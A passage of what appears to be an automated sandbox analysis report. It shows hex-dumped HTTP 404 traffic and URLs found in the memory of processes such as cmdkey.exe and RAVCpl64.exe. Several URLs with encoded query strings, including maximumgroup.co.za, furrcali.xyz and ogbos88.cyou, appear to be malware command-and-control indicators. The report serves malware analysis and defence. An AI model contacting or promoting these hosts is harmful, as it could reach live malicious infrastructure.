65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:52:32 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:52:35 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 15:52:38 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31

Source: cmdkey.exe, 00000003.00000002.15247546664.00000000050E8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://maximumgroup.co.za/cxj4/?lV=gKtC9mpNHTkTr00OOrlul8C1Q
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000007C0A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.000000000527A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006C56000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.00000000042C6000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736437877.0005169428&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiY
Source: RAVCpl64.exe, 00000002.00000002.16205103694.000000000349E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ogbos88.cyou
Source: RAVCpl64.exe, 00000002.00000002.16205103694.000000000349E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ogbos88.cyou/kj1o/
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000007C0A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.000000000527A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zbywl.com/js.js
Source: cmdkey.exe, 00000003.00000002.15247546664.00000000042C6000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www70.chiro.live/
Source: cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: b427-I_1.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: b427-I_1.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006F7A000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.00000000045EA000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: cmdkey.exe, 00000003.00000003.11916406824.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11911162884.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11916406824.00000000031CD000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031C3000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11911162884.00000000031CF000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: cmdkey.exe, 00000003.00000003.11916406824.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11911162884.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: cmdkey.exe, 00000003.00000002.15244350653.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: cmdkey.exe, 00000003.00000003.11916406824.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11911162884.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: cmdkey.exe, 00000003.00000002.15244350653.000000000318D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
Source: cmdkey.exe, 00000003.00000002.15244350653.000000000318D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: cmdkey.exe, 00000003.00000003.11910170497.000000000805F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdres://C:
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000007754000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004DC4000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ogbos88vip.click
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-114.png
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-57.png
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-72.png
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/styles/reset.css
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/images/additional-pages-hero-shape.webp
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/logo/logo-loopia-white.svg
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/style/2022-extra-pages.css
Source: cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: cmdkey.exe, 00000003.00000002.15247546664.000000000559E000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpd
Source: cmdkey.exe, 00000003.00000003.11918930615.0000000008077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: cmdkey.exe, 00000003.00000003.11922384899.00000000080E9000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-NP3MFSK
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw
Source: RAVCpl64.exe, 00000002.00000002.16214552888.0000000006AC4000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15248937928.0000000006630000.00000004.00000800.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000004134000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.0000000002D04000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
